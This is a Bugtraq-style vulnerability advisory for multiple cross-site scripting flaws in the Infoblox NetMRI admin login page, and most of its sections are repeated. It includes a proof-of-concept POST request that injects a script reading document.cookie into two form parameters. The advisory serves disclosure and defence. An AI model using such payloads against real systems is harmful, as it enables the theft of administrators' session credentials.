Infoblox NetMRI Admin Login Page Multiple Cross Site Scripting Vulnerabilities
BID:50646
Info
Infoblox NetMRI Admin Login Page Multiple Cross Site Scripting Vulnerabilities
| Bugtraq ID: | 50646 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 11 2011 12:00AM |
| Updated: | Nov 11 2011 12:00AM |
| Credit: | Jose Carlos de Arriba |
| Vulnerable: |
Infoblox NetMRI 6.2.1 Infoblox NetMRI 6.1.2 Infoblox NetMRI 6.0.2 42 |
| Not Vulnerable: |
Infoblox NetMRI 6.2.2 |
Discussion
Infoblox NetMRI Admin Login Page Multiple Cross Site Scripting Vulnerabilities
Infoblox NetMRI is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Infoblox NetMRI versions 6.2.1, 6.1.2, and 6.0.2.42 are vulnerable; other versions may also be affected.
Infoblox NetMRI is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Infoblox NetMRI versions 6.2.1, 6.1.2, and 6.0.2.42 are vulnerable; other versions may also be affected.
Exploit / POC
Infoblox NetMRI Admin Login Page Multiple Cross Site Scripting Vulnerabilities
Attackers can exploit these issues by enticing an unsuspecting victim to follow a malicious URI.
The following example request is available:
POST /netmri/config/userAdmin/login.tdf HTTP/1.1
Content-Length: 691
Cookie: XXXX
Host: netmrihost:443
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
formStack=netmri/config/userAdmin/login&eulaAccepted=<script>alert(document.cookie)</script>&mode=<script>alert(document.cookie)</script>&skipjackPassword=ForegroundSecurity&skipjackUsername=ForegroundSecurity&weakPassword=false
Attackers can exploit these issues by enticing an unsuspecting victim to follow a malicious URI.
The following example request is available:
POST /netmri/config/userAdmin/login.tdf HTTP/1.1
Content-Length: 691
Cookie: XXXX
Host: netmrihost:443
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
formStack=netmri/config/userAdmin/login&eulaAccepted=<script>alert(document.cookie)</script>&mode=<script>alert(document.cookie)</script>&skipjackPassword=ForegroundSecurity&skipjackUsername=ForegroundSecurity&weakPassword=false
Solution / Fix
Infoblox NetMRI Admin Login Page Multiple Cross Site Scripting Vulnerabilities
Solution:
Reportedly the vendor has released an update to fix the issue. However, Symantec has not confirmed it. Please contact the vendor for more details.
Solution:
Reportedly the vendor has released an update to fix the issue. However, Symantec has not confirmed it. Please contact the vendor for more details.
References
Infoblox NetMRI Admin Login Page Multiple Cross Site Scripting Vulnerabilities
References:
References:
- [FOREGROUND SECURITY 2011-004] Infoblox NetMRI 6.2.1 Multiple Cross-Site Scripti (Jose Carlos de Arriba)
- NetMRI Homepage (Infoblox)